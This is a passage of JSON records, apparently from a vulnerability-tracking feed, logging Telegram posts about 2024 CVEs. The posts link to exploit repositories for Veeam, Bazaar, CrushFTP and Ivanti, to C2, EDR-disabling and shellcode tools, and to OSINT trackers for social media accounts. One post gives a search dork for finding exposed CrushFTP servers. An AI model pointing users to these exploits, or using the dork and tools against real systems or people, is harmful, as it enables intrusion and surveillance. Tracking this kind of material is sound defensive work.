abbreviated \"DIE\" is a program for determining types of files.\n\nhttps://github.com/horsicq/Detect-It-Easy\n\n#Exploit\n\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512\n\nSemi-automatic OSINT framework and package manager\n\nhttps://github.com/kpcyrd/sn0int\n\nAn Instagram tracker that logs any changes to an Instagram account (followers, following, posts, and bio)\n\nhttps://github.com/ibnaleem/instatracker\n\n#HackersFactory", "creation_timestamp": "2024-11-21T08:10:56.000000Z"}, {"uuid": "60b61ec3-b3b2-40ed-83ff-7a6b0622afe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "Telegram/sP9GbIQaCXkCvsm_o7vMSslkWvfNQLQSP2dmI9sMZ9pe5fk", "content": "", "creation_timestamp": "2024-10-06T13:05:47.000000Z"}, {"uuid": "039cbf8d-219c-4f66-a66c-0c5cd3af51d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1332", "content": "#GitHub #Tools\n\nThis Python application is an OSINT (Open Source Intelligence) tool called \"Ominis OSINT - Web Hunter.\" It performs online information gathering by querying Google for search results related to a user-inputted query. The tool extracts relevant information such as titles, URLs, and potential mentions of the query in the results.\n\nhttps://github.com/AnonCatalyst/Ominis-Osint\n\nExploit CVE-2024-40725 (Apache httpd) \n\nhttps://github.com/soltanali0/CVE-2024-40725\n\nHere is the full tool. This BOF can be used to identify processes that hold handles to a given file. This can be useful to identify which process is locking a file on disk.\n\nhttps://github.com/Octoberfest7/enumhandles_BOF\n\nProof-of-concept shellcode loaders that leverage AI/ML primitives in C/C++ and Rust to do some shenanigans prior to shellcode detonation.\n\nhttps://github.com/0xTriboulet/T-1\n\nPendingFileRenameOperations + Junctions EDR Disable\n\nhttps://github.com/rad9800/FileRenameJunctionsEDRDisable\n\n#HackersForum", "creation_timestamp": "2024-12-19T04:13:21.000000Z"}, {"uuid": "9343ea01-ce65-405c-bdaf-4ae77ea907b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/899", "content": "Tools  - Hackers Factory \n\nScrcpy 2.7, just released, supports game controllers \ud83c\udfae\n\nhttps://github.com/Genymobile/scrcpy/releases/tag/v2.7\n\nPre-Auth Exploit for CVE-2024-40711\n\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\nRemote Kerberos Relay made easy! Advanced Kerberos Relay Framework\n\nhttps://github.com/CICADA8-Research/RemoteKrbRelay\n\nScan for secrets, endpoints, and other sensitive data after decompiling and deobfuscating Android files.  \n\nhttps://github.com/LucasFaudman/apkscan\n\nCLI tools for forensic investigation of artifacts \n\nhttps://github.com/dfir-dd/dfir-toolkit\n\nCobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike\n\nhttps://github.com/xx0hcd/Malleable-C2-Profiles\n\nUnleashed ffuf\n\nhttps://github.com/sw33tLie/uff\n\nTools for searching emails for a specific domain\n\nhttp://github.com/Josue87/EmailFinder\n\nhttp://github.com/GiJ03/Infoga\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-09-17T09:02:24.000000Z"}, {"uuid": "d2cf5642-dc68-411f-9c82-fb6be44bb8f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/467", "content": "Tools - Hackers Factory \n\nAmoloHT/TTWAF: \u300c\ud83e\uddf1\u300dTest a list of payloads and see if you can bypass it.\n\nhttps://github.com/AmoloHT/TTWAF\n\nOWASP/www-project-netryx: Next level Java web security framework. \n\nhttps://github.com/OWASP/www-project-netryx\n\nPrivFu/TokenAssignor at main daem0nc0re/PrivFu.\n\nhttps://github.com/daem0nc0re/PrivFu/tree/main/TokenAssignor\n\nRPISEC/MBE: Course materials for Modern Binary Exploitation by RPISEC\n\nhttps://github.com/RPISEC/MBE\n\nBigb0x/CVE-2024-40348: POC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nPumpbin/pumpbin: \ud83c\udf83 PumpBin is an Implant Generation Platform.\n\nhttps://github.com/pumpbin/pumpbin\n\nBellingcat/name-variant-search: A tool for searching common variations of a human name\n\nhttps://github.com/bellingcat/name-variant-search\n\nMegadose/nqntnqnqmb: Allows you to retrieve information on linkedin profiles, companies on linkedin and search on linkedin companies/persons\n\nhttps://github.com/megadose/nqntnqnqmb\n\nThis cheat sheet contains common enumeration and attack methods for Windows Active Directory with the use of powershell.\n\nhttps://github.com/drak3hft7/Cheat-Sheet---Active-Directory\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-24T06:19:12.000000Z"}, {"uuid": "401933d8-15d7-4be0-a5e5-6d008021a61a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/453", "content": "This is a bulk scanning and exploitation tool for CVE-2024-40348, Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.\n\nhttps://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2024-07-22T21:17:55.000000Z"}, {"uuid": "9092b746-8752-4475-ac62-9caa7149b8c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/662", "content": "Tools - Hackers Factory \n\nApepe - Mobile application  pentesting\n\nApepe is a Python tool developed to help pentesters and red teamers to easily get information from the target app. This tool will extract basic informations as the package name, if the app is signed and the development language...\n\ngithub.com/oppsec/Apepe\n\nBest App For Sql Injection\n \nhttps://github.com/darknethaxor/DH-HackBar\n\nBBRF-Client: The Bug Bounty Reconnaissance Framework (BBRF) can help you coordinate your reconnaissance workflows across multiple devices.\n \nhttps://github.com/honoki/bbrf-client/\n\nCVE-2024-40348 \n\nThis is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n \nhttps://github.com/bigb0x/CVE-2024-40348\n\nIt is a free and open-source tool used for image steganography, specifically for extracting hidden data from images. \n \nhttps://github.com/spipm/Depix \n\nDiscover more subdomains during your recon by extracting subdomains from TLS certificates. Integrate Cero into your recon automation for better results.\n\nhttps://github.com/glebarez/cero\n\nCRLFsuite - CRLF injection scanner \n\nThe most powerful CRLF injection (HTTP Response Splitting) scanner.  \n https://github.com/Raghavd3v/CRLFsuite\n\nFound a subdomain running on Symfony debug mode. \n\nhttps://github.com/synacktiv/eos to get PHP variables and a lot more. \n\nTrying to find Origin IP check out this tool created to find IP behind WAF\n \nhttps://github.com/mmarting/unwaf \n \n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-13T01:51:37.000000Z"}, {"uuid": "5b496c8b-455e-4693-9998-97c70fba657b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/458", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T04:43:45.000000Z"}, {"uuid": "01b1f3a4-bd8c-4b78-954a-bb3b372fe924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/458", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T04:43:45.000000Z"}, {"uuid": "4bc983fd-90ee-4df2-8f6e-726e9c06c11a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/tRNzWeK7e4RtVaEfI5A4_99w3XXEu_KZG4YSqM4rqyyO5Y0", "content": "", "creation_timestamp": "2024-06-05T05:24:55.000000Z"}, {"uuid": "d74c00a7-8219-471e-885c-b772a851a0f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/3973", "content": "The Hacker News\nVeeam Releases Security Updates to Fix 18 Flaws, Including 5 Critical Issues\n\nVeeam has shipped security updates to address a total of 18 security flaws impacting its software products, including five critical vulnerabilities that could result in remote code execution.\nThe list of shortcomings is below -\n\nCVE-2024-40711 (CVSS score: 9.8) - A vulnerability in Veeam Backup & Replication that allows unauthenticated remote code execution.\n\n\nCVE-2024-42024 (CVSS score: 9.1", "creation_timestamp": "2024-09-05T22:40:17.000000Z"}, {"uuid": "9fce596e-3b0b-452d-8afc-f8d5656d0c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/lostsec/521", "content": "Crushed | Exploiting Arbitrary File Read on CrushFTP! (CVE-2024-4040)\n\nDork: intitle:\"CrushFTP WebInterface\" inurl:/WebInterface/login.html\n\nhttp.favicon.hash:-1022206565\n\nhttps://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2024-05-17T15:35:25.000000Z"}, {"uuid": "daaa4ed6-18eb-4ea7-a242-106303353aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/5115", "content": "The Hacker News\nCritical Veeam Vulnerability Exploited to Spread Akira and Fog Ransomware\n\nThreat actors are actively attempting to exploit a now-patched security flaw in Veeam Backup & Replication to deploy Akira and Fog ransomware.\nCybersecurity vendor Sophos said it has been tracking a series of attacks in the past month leveraging compromised VPN credentials and CVE-2024-40711 to create a local account and deploy the ransomware.\nCVE-2024-40711, rated 9.8 out of 10.0 on the", "creation_timestamp": "2024-10-14T18:18:05.000000Z"}, {"uuid": "13e59cdf-5ece-4af8-ae1a-d052905f30b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/4121", "content": "The Hacker News\nApple Vision Pro Vulnerability Exposed Virtual Keyboard Inputs to Attackers\n\nDetails have emerged about a now-patched security flaw impacting Apple's Vision Pro mixed reality headset that, if successfully exploited, could allow malicious attackers to infer data entered on the device's virtual keyboard.\nThe attack, dubbed GAZEploit, has been assigned the CVE identifier CVE-2024-40865.\n\"A novel attack that can infer eye-related biometrics from the avatar image to", "creation_timestamp": "2024-09-13T19:23:54.000000Z"}, {"uuid": "aee4063d-6011-4167-b805-9c94a393840f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/3998", "content": "The Hacker News\nSonicWall Urges Users to Patch Critical Firewall Flaw Amid Possible Exploitation\n\nSonicWall has revealed that a recently patched critical security flaw impacting SonicOS may have come under active exploitation, making it essential that users apply the patches as soon as possible.\nThe vulnerability, tracked as CVE-2024-40766, carries a CVSS score of 9.3 out of a maximum of 10.\n\"An improper access control vulnerability has been identified in the SonicWall SonicOS management", "creation_timestamp": "2024-09-06T22:53:58.000000Z"}, {"uuid": "92848881-d924-4ac0-86b1-062b71c57573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/j16LSzugXnLKmxEE_EteSEQNVBWFcC5K5WAquCXcmaOO60l6", "content": "", "creation_timestamp": "2024-04-27T17:50:27.000000Z"}, {"uuid": "f1338a46-69b8-4c12-be36-cdabd1d197f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/YCDIeb_LVc1ecka2jh76erbkknSH7CJgCECmkEPo-JhYSqpQ", "content": "", "creation_timestamp": "2024-04-26T22:13:10.000000Z"}, {"uuid": "fe5389e6-f984-4e65-97fe-baf9df5a621c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/5z_FFG2DgXoUigQvX6_F8S6coBHecJGC84egfmBU_R6pwA", "content": "", "creation_timestamp": "2024-05-07T13:43:20.000000Z"}, {"uuid": "e08b3eb4-4ff3-41f2-883e-25ccec937ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/softrinx/128500", "content": "https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2024-04-26T22:10:56.000000Z"}, {"uuid": "5ae20b9f-2358-4e05-94d7-85d90ab74991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/KomunitiSiber/2467", "content": "SonicWall Issues Critical Patch for Firewall Vulnerability Allowing Unauthorized Access\nhttps://thehackernews.com/2024/08/sonicwall-issues-critical-patch-for.html\n\nSonicWall has released security updates to address a critical flaw impacting its firewalls that, if successfully exploited, could grant malicious actors unauthorized access to the devices.\nThe vulnerability, tracked as CVE-2024-40766 (CVSS score: 9.3), has been described as an improper access control bug.\n\"An improper access control vulnerability has been identified in the SonicWall SonicOS", "creation_timestamp": "2024-08-26T18:25:54.000000Z"}, {"uuid": "7f07580d-33b1-4be4-8ae8-8c97f117f114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/KomunitiSiber/2708", "content": "Critical Veeam Vulnerability Exploited to Spread Akira and Fog Ransomware\nhttps://thehackernews.com/2024/10/critical-veeam-vulnerability-exploited.html\n\nThreat actors are actively attempting to exploit a now-patched security flaw in Veeam Backup & Replication to deploy Akira and Fog ransomware.\nCybersecurity vendor Sophos said it has been tracking a series of attacks in the past month leveraging compromised VPN credentials and CVE-2024-40711 to create a local account and deploy the ransomware.\nCVE-2024-40711, rated 9.8 out of 10.0 on the", "creation_timestamp": "2024-10-14T11:03:41.000000Z"}, {"uuid": "32520035-3b4d-46d8-9632-6bc493645186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40865", "type": "seen", "source": "https://t.me/KomunitiSiber/2570", "content": "Apple Vision Pro Vulnerability Exposed Virtual Keyboard Inputs to Attackers\nhttps://thehackernews.com/2024/09/apple-vision-pro-vulnerability-exposed.html\n\nDetails have emerged about a now-patched security flaw impacting Apple's Vision Pro mixed reality headset that, if successfully exploited, could allow malicious attackers to infer data entered on the device's virtual keyboard.\nThe attack, dubbed GAZEploit, has been assigned the CVE identifier CVE-2024-40865.\n\"A novel attack that can infer eye-related biometrics from the avatar image to", "creation_timestamp": "2024-09-13T18:29:07.000000Z"}, {"uuid": "27512133-a20f-4396-9198-69244ced3571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/KomunitiSiber/2528", "content": "SonicWall Urges Users to Patch Critical Firewall Flaw Amid Possible Exploitation\nhttps://thehackernews.com/2024/09/sonicwall-urges-users-to-patch-critical.html\n\nSonicWall has revealed that a recently patched critical security flaw impacting SonicOS may have come under active exploitation, making it essential that users apply the patches as soon as possible.\nThe vulnerability, tracked as CVE-2024-40766, carries a CVSS score of 9.3 out of a maximum of 10.\n\"An improper access control vulnerability has been identified in the SonicWall SonicOS management", "creation_timestamp": "2024-09-07T03:12:53.000000Z"}, {"uuid": "30c9a55d-3873-4d30-8252-0d1120ebc62b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/KomunitiSiber/2520", "content": "Veeam Releases Security Updates to Fix 18 Flaws, Including 5 Critical Issues\nhttps://thehackernews.com/2024/09/veeam-releases-security-updates-to-fix.html\n\nVeeam has shipped security updates to address a total of 18 security flaws impacting its software products, including five critical vulnerabilities that could result in remote code execution.\nThe list of shortcomings is below -\n\nCVE-2024-40711 (CVSS score: 9.8) - A vulnerability in Veeam Backup & Replication that allows unauthenticated remote code execution.\n\n\nCVE-2024-42024 (CVSS score: 9.1", "creation_timestamp": "2024-09-06T04:50:52.000000Z"}, {"uuid": "fae3fb84-a216-42b0-9bc0-33c1d726e2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "published-proof-of-concept", "source": "Telegram/8GX73CileDjt-fkeOz6fewNGCcvBWqpXxTS3DIKV10F-pe4", "content": "", "creation_timestamp": "2025-04-21T23:00:12.000000Z"}, {"uuid": "27a49294-521f-4530-9ccd-08c1f0b9bf80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40445", "type": "published-proof-of-concept", "source": "Telegram/8GX73CileDjt-fkeOz6fewNGCcvBWqpXxTS3DIKV10F-pe4", "content": "", "creation_timestamp": "2025-04-21T23:00:12.000000Z"}, {"uuid": "a9c07470-6513-4a61-a614-87b3b1b89607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40094", "type": "published-proof-of-concept", "source": "Telegram/SFbizCI1HR_3r7JtPdd678d16a-iSOkLNYQlXhHYNjQfZSw", "content": "", "creation_timestamp": "2025-01-17T16:00:09.000000Z"}, {"uuid": "5a8ab95f-0ce2-4cc0-bb8e-9f12a7c6f94e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40815", "type": "published-proof-of-concept", "source": "Telegram/O_96JMXWnCSBuBB46Cc1BcDMuR0RRbHcNpUkRi8BOM5Q5pQ", "content": "", "creation_timestamp": "2025-01-31T04:00:07.000000Z"}, {"uuid": "e8ced603-4181-466e-9761-667356d77ced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40635", "type": "published-proof-of-concept", "source": "Telegram/Z0ari8MHZAzBUd7K9yxhwtBySsURYEVG61pidF9swyP9zTE", "content": "", "creation_timestamp": "2025-05-01T13:00:06.000000Z"}, {"uuid": "287c3b0b-21ef-44e4-bac9-fa5bc465b18d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40110", "type": "published-proof-of-concept", "source": "Telegram/POKQaQXyNcKq52FwPEf7faWTBs8oghkATFbVe9c3ZE8Mq6Q", "content": "", "creation_timestamp": "2025-04-29T05:00:07.000000Z"}, {"uuid": "5b750475-da27-4c86-a02e-826c732f29c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40111", "type": "published-proof-of-concept", "source": "Telegram/cGezkY-sNGeXP7suZ-_mxlbHZXJUtespjJiYiVVk1k7JN70", "content": "", "creation_timestamp": "2025-01-11T04:00:06.000000Z"}, {"uuid": "109a5330-0af6-4381-8ff4-59d4899a9024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8598", "content": "Tools - Hackers Factory \n\nApepe - Mobile application\u00a0 pentesting\n\nApepe is a Python tool developed to help pentesters and red teamers to easily get information from the target app. This tool will extract basic informations as the package name, if the app is signed and the development language...\n\ngithub.com/oppsec/Apepe\n\nBest App For Sql Injection\n\nhttps://github.com/darknethaxor/DH-HackBar\n\nBBRF-Client: The Bug Bounty Reconnaissance Framework (BBRF) can help you coordinate your reconnaissance workflows across multiple devices.\n\nhttps://github.com/honoki/bbrf-client/\n\nCVE-2024-40348 \n\nThis is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nIt is a free and open-source tool used for image steganography, specifically for extracting hidden data from images. \n\nhttps://github.com/spipm/Depix \n\nDiscover more subdomains during your recon by extracting subdomains from TLS certificates. Integrate Cero into your recon automation for better results.\n\nhttps://github.com/glebarez/cero\n\nCRLFsuite - CRLF injection scanner \n\nThe most powerful CRLF injection (HTTP Response Splitting) scanner.\u00a0 \nhttps://github.com/Raghavd3v/CRLFsuite\n\nFound a subdomain running on Symfony debug mode. \n\nhttps://github.com/synacktiv/eos to get PHP variables and a lot more. \n\nTrying to find Origin IP check out this tool created to find IP behind WAF\nhttps://github.com/mmarting/unwaf \n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-13T01:42:51.000000Z"}, {"uuid": "a59d2bbe-19f2-4152-9215-ccc0e56162e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8306", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T06:18:24.000000Z"}, {"uuid": "4349fc13-04f5-4431-b952-20c50cafad5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8306", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T06:18:24.000000Z"}, {"uuid": "4070ea75-0b56-4627-906c-36015a5911f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/9164", "content": "#GitHub #Tools\n\nThis Python application is an OSINT (Open Source Intelligence) tool called 